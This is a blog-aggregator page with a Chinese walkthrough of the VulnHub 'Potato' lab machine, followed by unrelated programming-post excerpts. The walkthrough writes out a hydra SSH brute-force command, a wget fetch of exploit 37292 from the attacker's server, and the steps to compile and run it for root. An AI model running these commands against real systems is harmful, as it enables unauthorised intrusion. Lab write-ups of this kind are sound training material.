当前位置：首页 > news >正文

Potato靶机

news 2025/9/14 20:01:59

信息搜集

设备发现

扫描端口

综合扫描

开放了80端口的HTTP服务和7120端口的SSH服务

目录扫描

扫描目录

看看这个info.php，发现只有php的版本信息，没有可以利用的注入点

SSH突破

`hydra` 爆破

考虑到 7120 端口是 ssh 服务，尝试利用 hydra 进行 ssh 爆破，得到用户名：potato 密码：letmein

hydra -l potato -P top1000.txt -V ssh://192.168.88.138:7120

ssh渗透提权

用拿到 ssh 用户名和密码，登录 ssh

id查看发现是一个普通用户；uname -a查看发现ubuntu的版本很老，只有3.13.0

查看 Linux 内核信息，搜索后发现存在 exp，也可以searchsploit ubuntu 3.13.3，使用第一个漏洞进行攻击

使用该漏洞，

将漏洞传到靶机上，这里我们在kali上建立apache服务器，让目标主机通过网络将漏洞下载到本机上

service apache2 start   ---------开启服务器ss -tunlp                       ----------查看开启端口

将漏洞下载到服务器目录下

cd /var/www/html
searchsploit -m 37292

使用目标靶机下载服务器上的漏洞

wget http://192.168.88.128/37292.c

运行脚本提权

gcc 37292.c -o exp ----------编译脚本
chmod +777 exp -----------更改权限
./exp -------------执行脚本

提高交互性并且拿到root权限

找到flag，拿下

参考博客：

Potato靶机测试-CSDN博客

Vulnhub靶机实战-POTATO-WP_维梓-的博客-CSDN博客

Potato靶机

信息搜集设备发现扫描端口综合扫描开放了80端口的HTTP服务和7120端口的SSH服务目录扫描扫描目录看看这个info.php，发现只有php的版本信息，没有可以利用的注入点 SSH突破 hydra 爆破考虑到 7120 端口是 ssh 服务，尝试利用 hydra …...

编程日记 2023/10/16 7:57:35

【环境搭建】linux docker-compose安装gitlab和redis

gitlab需要redis，一起安装了新建gitlab和redis挂载目录 mkdir -p /data/docker/redis/data mkdir -p /data/docker/redis/logs mkdir -p /data/docker/redis/confmkdir -p /data/docker/gitlab/data mkdir -p /data/docker/gitlab/logs mkdir -p /data/docker/gi…...

编程日记 2023/10/16 7:56:34

JAVAEE初阶相关内容第十三弹--文件操作 IO

写在前终于完成了！！！！内容不多就是本人太拖拉！ 这里主要介绍文件input，output操作。File类，流对象（分为字节流、字符流） 需要掌握每个流对象的使用方式：打…...

编程日记 2023/10/16 7:55:32

POI报表的高级应用

POI报表的高级应用掌握基于模板打印的POI报表导出理解自定义工具类的执行流程熟练使用SXSSFWorkbook完成百万数据报表打印理解基于事件驱动的POI报表导入模板打印概述自定义生成Excel报表文件还是有很多不尽如意的地方，特别是针对复杂报表头，单…...

编程日记 2023/10/16 7:54:31

【计算机毕设选题推荐】超市管理系统SpringBoot+SSM+Vue

前言：我是IT源码社，从事计算机开发行业数年，专注Java领域，专业提供程序设计开发、源码分享、技术指导讲解、定制和毕业设计服务项目名基于SpringBoot的超市管理系统技术栈 SpringBootVueMySQLMaven 文章目录一、超市管理系统…...

编程日记 2023/10/16 7:53:30

【算法1-4】递推与递归-P1002 [NOIP2002 普及组] 过河卒

## 题目描述棋盘上 A 点有一个过河卒，需要走到目标 B 点。卒行走的规则：可以向下、或者向右。同时在棋盘上 C 点有一个对方的马，该马所在的点和所有跳跃一步可达的点称为对方马的控制点。因此称之为“马拦过河卒”。棋盘用坐标表示&#…...

编程日记 2023/10/16 7:52:29

浅谈压力测试的作用是什么

随着现代应用程序变得越来越复杂，用户的期望也在不断提高，对性能和可靠性的要求变得更加苛刻。在应用程序开发和维护的过程中，压力测试是一项至关重要的活动，它可以帮助发现潜在的问题、评估系统的性能极限，以及确保在…...

编程日记 2023/10/16 7:51:28

互联网Java工程师面试题·Java 总结篇·第一弹

目录 1、面向对象的特征有哪些方面？ 2、访问修饰符 public,private,protected,以及不写（默认）时的区别？ 3、String 是最基本的数据类型吗？ 4、float f3.4;是否正确？ 5、short s1 1; s1 s1 1;有错吗…...

编程日记 2023/10/16 7:50:27

Anylogic 读取和写入Excel文件

1、选择面板-连接-Excel文件，拖入到视图中然后在excel文件的属性中进行绑定外部excel文件。绑定完之后，在你需要读取的地方进行写代码， //定义开始读取的行数 //这里设为2，是因为第一行是数据名称 int row12; //读取excel文件信…...

编程日记 2023/10/16 7:49:26

茶百道全链路可观测实战

作者：山猎茶百道是四川成都的本土茶饮连锁品牌，创立于 2008 年。经过 15 年的发展，茶百道已成为餐饮标杆品牌，全国门店超 7000 家，遍布全国 31 个省市，实现中国大陆所有省份及各线级城市的全覆盖。2021 …...

编程日记 2023/10/16 7:48:25

Java-JDBC

JDBC JDBC英文名为：Java Data Base Connectivity(Java数据库连接)，官方解释它是Java编程语言和广泛的数据库之间独立于数据库的连接标准的Java API 根本上说JDBC是一种规范，它提供的接口，一套完整的，允许便捷式访问底…...

编程日记 2023/10/16 7:47:24

【ROS】Nav2源码之nav2_planner详解

【ROS】郭老二博文之：ROS目录 1、简述 nav2_planner是路径规划器，把起始位置、姿势的信息输入nav2_planner模块，将会生成可行路径。 nav2_planner路径规划器和nav2_controller控制器相似，也使用插件的形式加载不同的路径规划器。常用的路径规划器插件有： 1）NavFn Plan…...

编程日记 2023/10/16 7:46:23

mysql报SQLSTATE[22007]的错误的一个原因

最近在修改一个程序，打算将$video这个参数保存到数据库。修改的过程中出现错误。导致该程序不能发布新文章。在程序的一个db.php程序文件里使用var_dump($input, $stmt) ; 语句看到了错误信息，并找到了错误原因。信息里包含的错误代码是： SQ…...

编程日记 2023/10/16 7:45:22

Python —— UI自动化之三大等待与三大切换

1、三大等待 1、硬性等待 1、概述硬性等待也可以称之为强制等待，写法如下： time.sleep() 优点：使用简单缺点：等待时间把握不准，容易造成时间浪费或者等待时间不足 2、实战 from time import sleep from sele…...

编程日记 2023/10/16 7:44:21

初识容器Docker

目前使用 Docker 基本上有两个选择：Docker Desktop和Docker Engine。Docker Desktop 是专门针对个人使用而设计的，支持 Mac 和 Windows 快速安装，具有直观的图形界面，还集成了许多周边工具，方便易用。不是太推荐使用D…...

编程日记 2023/10/16 7:43:20

pikachu靶场搭建及通关

一、靶场搭建下载工具：phpstudy Pikachu靶机下载地址： https://github.com/zhuifengshaonianhanlu/pikachu 下载后解压缩并放入如下文件夹（网站根目录） 建议修改文件名称为 pikachu 修改配置文件（mysql 用户名&…...

编程日记 2023/10/16 7:42:20

选择排序（学习笔记）

选择排序选择排序的基本思想是冒泡排序，记录当前位置i和最小值k的位置，使用一个变量j往后寻找。每一轮找到最小值后与第一个元素进行交换，以此类推。不使用辅助变量交换两个元素的值方法 package com.company.sort;import java.util.Ra…...

编程日记 2023/10/16 7:41:18

PCL 生成球形点云

目录一、算法原理二、代码实现三、结果展示四、参考链接一、算法原理生成球体点云的方法有很多种，Marsaglia于1972年提出了一个简单易行的实现方法，它从(-1,1)上的独立均匀分布中选取 x 1 x_1 x...

编程日记 2023/10/16 7:40:16

Flutter 剪裁（Clip）

🔥 ClipOval 🔥 子组件为正方形时剪裁成内贴圆形；为矩形时，剪裁成内贴椭圆裁剪纯色背景 ClipOval(child: Container(width: 300.w,height: 300.w,decoration: const BoxDecoration(color: Colors.red),),), 裁剪背景图片裁剪前…...

编程日记 2023/10/16 7:39:15

嵌入式C语言自我修养《GNU C编译器扩展语法》学习笔记

目录一、C语言标准和编译器二、指定初始化三、宏构造“利器”：语句表达式四、typeof与container_of宏五、零长度数组六、属性声明：section 七、属性声明：aligned 一、C语言标准和编译器 C语言标准的发展过程： ●…...

编程日记 2023/10/16 7:38:13

ubuntu搭建nfs服务centos挂载访问

在Ubuntu上设置NFS服务器在Ubuntu上，你可以使用apt包管理器来安装NFS服务器。打开终端并运行： sudo apt update sudo apt install nfs-kernel-server创建共享目录创建一个目录用于共享，例如/shared： sudo mkdir /shared sud…...

编程新知 2025/8/27 13:05:41

CocosCreator 之 JavaScript/TypeScript和Java的相互交互

引擎版本： 3.8.1 语言： JavaScript/TypeScript、C、Java 环境：Window 参考：Java原生反射机制您好，我是鹤九日！ 回顾在上篇文章中：CocosCreator Android项目接入UnityAds 广告SDK。我们简单讲…...

编程新知 2025/8/19 15:38:50

3403. 从盒子中找出字典序最大的字符串 I

3403. 从盒子中找出字典序最大的字符串 I 题目链接：3403. 从盒子中找出字典序最大的字符串 I 代码如下： class Solution { public:string answerString(string word, int numFriends) {if (numFriends 1) {return word;}string res;for (int i 0;i &…...

编程新知 2025/8/10 12:06:15

C# 求圆面积的程序（Program to find area of a circle）

给定半径r，求圆的面积。圆的面积应精确到小数点后5位。例子： 输入：r 5 输出：78.53982 解释：由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982，因为我们只保留小数点后 5 位数字。输…...

编程新知 2025/9/9 10:10:10

MFC 抛体运动模拟：常见问题解决与界面美化

在 MFC 中开发抛体运动模拟程序时，我们常遇到轨迹残留、无效刷新、视觉单调、物理逻辑瑕疵等问题。本文将针对这些痛点，详细解析原因并提供解决方案，同时兼顾界面美化，让模拟效果更专业、更高效。问题一：历史轨迹与小球残影残留现象小球运动后，历史位置的 “残影”…...

编程新知 2025/9/4 16:01:41

接口自动化测试：HttpRunner基础

相关文档 HttpRunner V3.x中文文档 HttpRunner 用户指南使用HttpRunner 3.x实现接口自动化测试 HttpRunner介绍 HttpRunner 是一个开源的 API 测试工具，支持 HTTP(S)/HTTP2/WebSocket/RPC 等网络协议，涵盖接口测试、性能测试、数字体验监测等测试类型…...

编程新知 2025/9/2 17:48:51

Git常用命令完全指南：从入门到精通

Git常用命令完全指南：从入门到精通一、基础配置命令 1. 用户信息配置 # 设置全局用户名 git config --global user.name "你的名字"# 设置全局邮箱 git config --global user.email "你的邮箱example.com"# 查看所有配置 git config --list…...

编程新知 2025/7/11 0:32:35